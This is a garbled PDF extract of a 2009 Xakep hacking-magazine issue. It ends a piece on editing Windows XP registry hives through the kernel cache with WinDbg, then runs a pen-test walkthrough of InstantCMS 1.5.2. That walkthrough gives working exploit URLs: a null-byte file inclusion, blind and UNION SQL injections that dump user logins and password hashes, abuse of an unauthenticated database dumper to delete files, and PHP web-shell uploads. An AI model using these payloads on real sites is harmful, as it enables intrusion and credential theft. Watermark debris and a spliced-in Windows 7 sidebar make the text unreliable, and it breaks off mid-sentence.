книги хакеры / журнал хакер / 131_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
MmPagedPoolStart = e1000000; 48FB00+ e1000000 = e148FB00.
Нашли адрес proto-PTE, сдампим его, то есть получим содержимое.
dd e148FB00 l1 e148fb00 87944cd6
Proto-PTE равен
0x87944cd6 = 1 00001111001010001001 1 00110 1011 0 |->PTE указывает на подраздел
|->Описывает маппируемый файл
Вычислим адрес подраздела (по форм. SubsectionAddress = MmSubsectionBase + PrototypeIndex << 3, обычно MmSubsectionBase == MmNonPagedPoolStart ).
Index = 000011110010100010011011 = F289B << 3 = 7944D8; MmNonPagedPoolStart = 81181000; 7944D8 + 81181000 = 819154D8 — адрес подраздела.
dt _subsection 819154D8 nt!_SUBSECTION
+0x000 ControlArea : 0x819154a8 _CONTROL_AREA
+0x004 u : __unnamed
+0x008 |
StartingSector : 0 |
|
+0x00c NumberOfFullSectors : 0x1000 |
|
|
+0x010 |
SubsectionBase : 0xe148d000 _MMPTE |
|
+0x014 |
UnusedPtes : 0 |
|
+0x018 |
PtesInSubsection : 0x1000 |
|
+0x01c NextSubsection : 0x81913660 _SUBSECTION |
||
!ca 0x819154a8 |
|
|
ControlArea @ 819154a8 |
|
|
Segment • e13d66c8 • Flink • 00000000 • Blink |
00000000 |
Section Ref • 1 • Pfn Ref • 2b6 • Mapped Views • 3c User Ref • 0 • WaitForDel • 0 • Flush Count • 0File Object • 818ed338 • ModWriteCount • 0 • System Views • 3c
Flags (8088) NoModifiedWriting File WasPurged
File: \$Mft
Сегмент имеет вид:
dt _SEGMENT e13d66c8 nt!_SEGMENT
+0x000 |
ControlArea : 0x819154a8 _CONTROL_AREA |
+0x004 |
TotalNumberOfPtes : 0x1b00 |
+0x008 |
NonExtendedPtes : 0x1000 |
+0x00c WritableUserReferences : 0 |
|
+0x010 |
SizeOfSegment : 0x1b00000 |
+0x018 |
SegmentPteTemplate : _MMPTE |
+0x01c NumberOfCommittedPages : 0 |
|
+0x020 |
ExtendInfo : (null) |
+0x024 |
SystemImageBase : (null) |
+0x028 |
BasedAddress : (null) |
+0x02c u1 : __unnamed |
|
+0x030 |
u2 : __unnamed |
+0x034 |
PrototypePte : 0x61564d43 _MMPTE |
+0x038 |
ThePtes : [1] _MMPTE |
Получим такие же значения по открытой карте кэша:
dt _vacb SharedCacheMap 0x8194aa70 nt!_VACB
+0x004 SharedCacheMap : 0x818c7b08 _SHARED_CACHE_MAP
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Выборочный вывод структуры открытой карты с интересующими полями:
dt _SHARED_CACHE_MAP 0x818c7b08 nt!_SHARED_CACHE_MAP
+0x008 |
FileSize : _LARGE_INTEGER 0x1ae8000 |
+0x010 |
BcbList : _LIST_ENTRY [0x81913a60-0x819138b8] |
+0x018 |
SectionSize : _LARGE_INTEGER 0x1b00000 |
+0x044 |
FileObject : 0x818ed338 _FILE_OBJECT // совпада- |
ет с адресом, указанным в control_area (вывод !ca). |
||
+0x078 Section : 0xe13d6698 |
// соответствующий раздел |
|
dt _SECTION_OBJECT Segment 0xe13d6698 |
|
|
nt!_SECTION_OBJECT |
|
|
+0x014 Segment : 0xe13d66c8 |
_SEGMENT_OBJECT |
//сегмент |
для проецирования файла как |
бинарного |
|
PTE кэша начинаются с адреса, который указывается в MmSystemCachePteBase (обычно совпадает с началом таблицы стра-
ниц, 0xC0000000).
Модификацию кэша на практике можно использовать для разных задач. Рассмотрим, например, запись в параметр раздела реестра без применения API-функций, через кэш. В отличие от w2k, в которой диспетчер конфигурации хранил данные кустов в подкачиваемом пуле, в wxp он проецирует файлы кустов реестра, используя объектыразделы.
Попробуем модифицировать данные в разделе HKCU. Файл раздела хранится в \Document and Setting\<account name>\NTUSER>DAT. Если запустить приведенную выше программку windbg, ты сможешь увидеть, что этих файлов смаппировано несколько, например, для встроенной учетной записи системы — NetworkService:
Vacb #280 0x819baa40 -> 0xd0180000
File: 0x81765610
Offset: 0x00000000
\Documents and Settings\root\NTUSER.DAT
Root — моя учетная запись
Vacb #289 0x819bab18 -> 0xcf6c0000 File: 0x81666bf8
Offset: 0x00000000
\Documents and Settings\NetworkService\NTUSER.DAT
Этот VACB описывает куст для учетной записи NetworkService. Воспользуемся первым выводом для записи root. Она показала, что адрес данных в кэше 0xd0180000, при этом проекция идет с начала файла, смещение ноль. Также воспользуемся командой !fileobj для вывода более подробной информации.
kd> !fileobj 0x81765610
\Documents and Settings\root\NTUSER.DAT
Device Object: 0x81927bb8 |
\Driver\Ftdisk |
Vpb: 0x8192a818 |
|
Access: Read Write -> присутствует тип доступа Write, значит, страницы раздела будут сброшены в куст на диске Flags: 0x140040
Cache Supported
Handle Created
Random Access
FsContext: 0xe1632d90 FsContext2: 0xe3efdc18
Private Cache Map: 0x816750e0 CurrentByteOffset: 0
Cache Data:
Section Object Pointers: 81812d84 -> принадлежит FSD Shared Cache Map: 81675008
File Offset: 0 in VACB number 0
XÀÊÅÐ 11 /131/ 09 |
059 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
УСПЕХ!
Vacb: 819baa40 -> íàø VACB
Your data is at: d0180000 -> и адрес данных в кэше
Структура куста — это тема для отдельного доклада, поэтому быстренько пробегаемся по памяти и ищем какие-нибудь данные. Нашли для параметра по умолчанию раздела HKEY_CURRENT_USER\ AppEvents\EventLabels\.Default его значение — Default Beep.
Изменим его, например, так:
eb d018142e 70/eb d0181430 70.
Нужно подождать, пока содержимое кэша сбросится в файл. Это может произойти сразу, а может через некоторое время, в любом случае после перезагрузки данные в файле на диске будут изменены. В этом примере изменения сразу отобразились в regedit (после F5).
Модифицирование данных через windbg хорошая практика, но в боевых условиях нужно писать драйвер, который это будет делать более-менее автоматически. Рассмотрим один из вариантов.
При открытии кустов для мапинга, их дескрипторы сохраняются в системной таблице дескрипторов, доступ к которой можно получить, например, в контексте процесса System. Мы можем перебрать там все дескрипторы (смотри мануалы Ms-remа на wasm) и найти указатели на соответствующие file objectы, которые нам нужны (сравнивая полный путь к кусту с тем, что указано в FileName файлового объекта). Зная адрес файлового объ-
екта, мы выходим на структуру _SECTION_OBJECT_POINTERS,
а затем выходим на открытую карту. То есть, FileObject Æ SectionObjectPointer Æ SharedCacheMap. В SHARED_CACHE_MAP
анализируем, с какого смещения проецируется файл, используя указатель на массив VACB — _SHARED_CACHE_MAPÆ Vacbs. Если по требуемому смещению, например, нулевому, что будет соот-
ветствовать _SHARED_CACHE_MAP Æ Vacbs[0], будет указатель на VACB, то из него мы и получаем указатель на слот с данными. Кстати, чтобы найти количество элементов в массиве, нужно раз-
делить значение, указанное в SHARED_CACHE_MAP.FileSize, на
256 Кб. Напомню, запись из драйвера на страницы кэша нужно осуществлять с предельной осторожностью и только если страница присутствует в памяти. В более сложном варианте нужно анализировать поля PTE и proto-PTE.
Завершающий experience по этому поводу. Я нашел file object для своего \Documents and Settings\root\NTUSER.DAT. Далее:
kd> dt _file_object 0x8169b3c0 SectionObjectPointer ntdll!_FILE_OBJECT
+0x014 SectionObjectPointer : 0x81826b6c _SECTION_
060
OBJECT_POINTERS
kd> dt _SECTION_OBJECT_POINTERS 0x81826b6c SharedCacheMap
ntdll!_SECTION_OBJECT_POINTERS
+0x004 SharedCacheMap : 0x816efd18 -> открытая карта уникальна для дискового файла
kd> dt _SHARED_CACHE_MAP 0x816efd18 Vacbs nt!_SHARED_CACHE_MAP
+0x040 Vacbs : 0x81868e78 -> 0x819baa88 _VACB -> массив VACB
Кроме того:
kd> dt _SHARED_CACHE_MAP 816efd18 FileSize
nt!_SHARED_CACHE_MAP
+0x008 FileSize : _LARGE_INTEGER 0x140000
0x140000 / 0x40000 = 5 элементов в массиве указателей VACB.
Теперь смело дампим его:
kd> dd 0x81868e78 l8
81868e78 819baa88 819baba8 819bab60 819babd8
81868e88 819baa70 00000000 00000000 00000000
Видим, что в кэше присутствуют все части файла 5 * 256 * 1024 = 0x140000 байт.
Если нам нужны данные со смещения ноль, то выполняем команду:
kd> dt _VACB 819baa88 BaseAddress nt!_VACB
0x000 BaseAddress : 0xcfb40000
Это, собственно, и есть данные с начала файла ntuser.dat.
ТЕПЕРЬ ВСЕ! Для модифицирования нужных данных необходимо иметь парсер реестра и знать, с какого смещения в кусте начинаются данные. А дальше — по вышеприведенной схеме. Аналогичным образом модифицируются и данные в MFT, но об этом я расскажу в другой раз, после того, как скушаешь и переваришь информацию :). На этой ноте кланяюсь и еще раз желаю удачи в отладке! z
XÀÊÅÐ 11 /131/ 09
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Реклама
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
||
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
|||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
o |
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
.c |
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
ВЗЛОМ
SPYDER SPYDER@ANTICHAT.NET
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
СОЦИАЛЬНЫЙ
ВЗЛОМ PEN-TESTING ПОПУЛЯРНОГО ДВИЖКА СОЦСЕТИ
СОЦИАЛЬНЫЕ СЕТИ ВНЕЗАПНО СТАЛИ ОЧЕНЬ ПОПУЛЯРНЫ. СЕЙЧАС СОЦИАЛЬНАЯ СЕТЬ — ЭТО И СПОСОБ ПООБЩАТЬСЯ,
ÈНАЙТИ ДРУЗЕЙ, А ДЛЯ КОГО-ТО — ЗАРАБОТАТЬ ДЕНЬГИ.
ÈНЕТ НИЧЕГО УДИВИТЕЛЬНОГО, ЧТО КАЖДЫЙ ЗАХОТЕЛ СОЗДАТЬ СВОЮ СОЦСЕТЬ. КАК РАЗ ДЛЯ ЭТОГО БЫЛ НАПИСАН ПРОСТОЙ, УДОБНЫЙ (И, КАК ПОЗЖЕ ВЫЯСНИЛОСЬ, ИЗОБИЛУЮЩИЙ УЯЗВИМОСТЯМИ) ДВИЖОК. ИМЯ ЕМУ INSTANTCMS.
В ПРЕДДВЕРИИ АТАКИ Бродя по просторам рунета, я наткнулся на один сайт. Его контент очень напоминал CMS, и я решил узнать, что же он из себя представляет. Недолго думая, я попытался найти админку, вбив в адресную строку:
www.site.ru/admin/
После этого мне оставалось только лицезреть поле ввода логина и пароля, а также надпись «InstantCMS — Авторизация». Навестив гугл с запросом InstantCMS, первым результатом я получил ссылку на официальный сайт двига — www.instantcms.ru. Последней версией на данный момент оказалась 1.5.2. Через минуту исходники лежали на моем жестком диске.
GRAY-BOX
Подняв на своем компьютере apache и mysql, я установил цмс и принялся за анализ исходного кода. Первое, что бросилось в
глаза — это папка wysiwyg, в которой находился до боли знакомый FCKeditor. На мой взгляд, FCKeditor — лучший помощник при наличии локального инклуда. По адресу
http://localhost/wysiwyg/editor/filemanager/
connectors/test.html
находится аплодер файлов. К сожалению, файлы с расширением
.php, .phtml, .cgi и т.п. залить не получится, однако при наличии LFI это уже неважно, ведь файл с любым расширением выполнится как php-код. LFI+FCKeditor — и шелл у нас в кармане. Но все же это трудно назвать уязвимостью InstantCMS, потому что разработкой фцкэдитора занимаются совсем другие люди. Поэтому, так как все работает через mod_rewrite, я решил заглянуть в .htaccess и нашел там вот что:
#COMPONENT "RSS FEEDS"
RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$ /components/rssfeed/frontend.php?&target=$1&item_id=$2
В надежде найти SQL-Injection я направился к файлу frontend.php и увидел там интересный код:
if (isset($_REQUEST['do'])){ $do = $_REQUEST['do'];
} else { $do = 'rss'; }
if (isset($_REQUEST['target'])){ $target = $_REQUEST['target'];
} else { die(); }
if (isset($_REQUEST['item_id'])) {
062 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
FCKEDITOR НАСАЙТЕ
INSTANTCMS.RU
ВАДМИНКЕ
Попав в админку, шелл можно залить несколькими способами, но самый эффективный
— через баннеры. Переходим в Главная Æ Компоненты Æ Баннеры , жмем «Новый баннер» и загружаем php-шелл, проверки на расширение нет. Шелл будет распола-
гаться по адресу example.com/images/banners/shell.php.
$item_id = $_REQUEST['item_id']; } else { die(); }
...
if ($do=='rss'){ $rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT']. '/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'. $target.'/prss.php');
Да это же чистой воды Local File Inclusion в переменной $target! Если в конфигурации PHP директива magic_quotes_gpc = off , мы можем проинклудить любой файл, указав нул-байтом конец строки таким образом:
http://localhost/components/rssfeed/frontend.php?item_id= 1&target=../../../../../../../../../../../../etc/hosts%00
Следует заметить, что способ обхода magic_quote_gpc подстановкой >4000 слешей в данном случае работать не будет, так как путь до файла объявлен с помощью переменной $_SERVER['DOCUMENT_ ROOT'], а, следовательно, вызов функции getcwd() не выполняется.
Унас есть LFI, а залить файл с php-кодом внутри уже не проблема,
—вспомни про FCKeditor. В случае если администратор отключил
загрузку файлов в едиторе, ты можешь зарегистрировать нового пользователя в системе и залить аватар со злым содержимым :).
УКОЛ ВСЛЕПУЮ И НЕ ТОЛЬКО
Инклуд это хорошо, но и на этом я не остановился, и присмотрелся внимательнее к коду файла frontend.php:
if (file_exists($_SERVER['DOCUMENT_ROOT']. '/components/'.$target.'/prss.php'))
{
$inCore->includeFile('components/'.$target.'/prss.php'); eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
Впапке components находились различные компоненты системы, но
яискал такие, где находился бы файл prss.php, и нашел такой
function rss_blog($item_id, $cfg, &$rssdata){
...
$cat = dbGetFields('cms_blogs', 'id='.$item_id, 'id, title');
Поиск функции dbGetFields привел меня к файлу /core/cms.php:
ФИШКИ WINDOWS 7: НОВЫЙ ТАСКБАР И JUMP-ЛИСТЫ
Одна из самых заметных новинок с позиции пользователя (даже самого ушастого) — это, конечно же,
обновленный таскбар. Это не просто симпатичная панелька с большими кнопками, а удобный инструмент, объединяющий в себе механизм для быстрого запуска программ, управления окнами и доступа
к последним документам. Это стало возможным за счет так называемых Jumpлистов. По своей сути такой выпадающий список аналогичен меню «Пуск», но только для конкретного приложения — в нем отображается список последних документов, ключевые опции приложения. За при-
мером далеко ходить не нужно — кликни в таскбаре правой кнопкой мыши по иконке Internet Explorer 8.0.
С помощью Jump-листов ты сможешь быстро перейти по линку из истории браузера. Удобно, правда? К сожалению, полноценная поддержка нового таскбара пока не реализована во всех
приложениях (кстати, статья по этому поводу уже была у нас в Кодинге). Но недостаток исправляется энтузиастами: для популярных программ выходят специальные хаки. Например, для плеера Winamp давно раз-
работан специальный плагин win7shell (code.google.com/p/ win7shell).
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|||
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
УСПЕШНОВЫПОЛНЕННЫЙДАМПБАЗЫ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ПАНЕЛЬУПРАВЛЕНИЯСАЙТОМ
function dbGetFields($table, $where, $fields, $order='id ASC')
{
$inDB = cmsDatabase::getInstance(); return $inDB->get_fields($table,
$where, $fields, $order);
}
По правде говоря, все эти скачки по файлам мне изрядно поднадоели, но финиш был близок. Файл /core/classes/db.class.php показал мне содержимое функции get_fields:
public function get_fields($table, $where,
$fields, $order='id ASC')
{
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order LIMIT 1";
$result = $this->query($sql);
if ($this->num_rows($result))
{
$data = $this->fetch_assoc($result); return $data;
}else {
return false;
}
}
На всем пути моего путешествия я не встретил ни одной проверки значения переменной item_id, за исключением файла .htaccess. Следовательно, у нас в кармане sql-injection, но, к сожалению слепая. Пример использования:
http://localhost/components/rssfeed/frontend.php? item_id=1+and+1=if(substring(version(),1,1)=5)&targe t=blog
Как быстро раскрутить слепую инъекцию — читай в статье Qwazar’a в предыдущем номере z. Инъекция это хорошо, а еще лучше — когда видишь результат запроса; через 10 минут анализа кода был найден файл core/ajax/tagsearch.php, а в нем — следующее содержимое:
$q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE', $_GET['q']);
$q = strtolower($q); if (!$q)
return;
define("VALID_CMS", 1); include($_SERVER['DOCUMENT_ROOT'].
'/includes/config.inc.php'); include($_SERVER['DOCUMENT_ROOT']. '/includes/database.inc.php');
$sql = "SELECT tag FROM cms_tags WHERE LOWER(tag) LIKE '{$q}%' GROUP BY tag";
$rs = mysql_query($sql);
...
И к моему удивлению — также никакой проверки переменной $_GET[‘q’], плюс ко всему результат запроса выводился на страницу. Запрос
http://localhost/core/ajax/tagsearch.php?q=notexist
tag}'+union+select+concat(login,':',password)+from+c ms_users+limit+1,1--+
показал мне логин и md5(пароль) первого пользователя в базе, а убрав limit, я получил всех пользователей. Данная SQl-Injection будет работать только при отключенной директиве magic_quotes_ gpc.
БОЛЬШЕ ЧЕМ ДАМПЕР
Не рассчитывая на что-то большее, я залогинился в админке с целью найти способ заливки веб-шелла, и первое, на что обратил внимание, был дампер базы данных. Я решил найти его исходник в папке admin. Но он оказался совсем в другом месте, а именно — в core/ajax/dumper.php. Самое интересное, что при прямом обращении к нему не было никакой авторизации! А это значит, любой пользователь без админских привилегий может сделать дамп базы.
if ($inCore->request('file', 'str'))
{
$shortfile = $inCore->request('file', 'str'); } else {
$shortfile = date('d-m-Y').'.sql';
}
$opt = $inCore->request('opt', 'str', 'export');
064 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВСЕПОЛЬЗОВАТЕЛИ |
|
|
|
|
|
||||
|
|
|
|
ВЕБ-ШЕЛЛ:) |
|
|
СОДЕРЖИМОЕ/ETC/PASSWD, ПО- |
||
|
|
|
|
|
|
|
|
ЛУЧЕННОЕЧЕРЕЗLFI |
|
|
|
|
|
|
Польза от этой уязвимости незначительная, но все же есть. Пример |
||||
|
$dir |
= PATH.'/backups'; |
|
|
|||||
|
$file = $dir.'/'.$shortfile; |
|
|
использования: |
|||||
|
... |
|
|
|
|
|
|
|
|
|
if ($opt=='export') |
|
|
http://localhost/core/ajax/dumper.php? |
|
||||
|
{ |
|
|
|
|
|
opt=delete&file=../index.php |
|
|
|
include($_SERVER['DOCUMENT_ROOT']. |
|
|
|
|
|
|||
|
|
|
Ну и, наконец, самое интересное, — мы можем делать бэкап, причем |
||||||
|
|
'/includes/dbexport.inc.php'); |
|
|
|||||
|
if (is_writable($dir)) |
|
|
можем задать любое имя файла. Что же нам мешает создать файл с рас- |
|||||
|
{ |
|
|
|
|
|
ширением .php, а перед этим записать в базу php-код? А мешают филь- |
||
|
|
$dumper = new MySQLDump($inConf->db_base, |
|
тры. XSS-фильтров разработчики поставили очень много, но я нашел |
|||||
|
|
$file, false, false); |
|
|
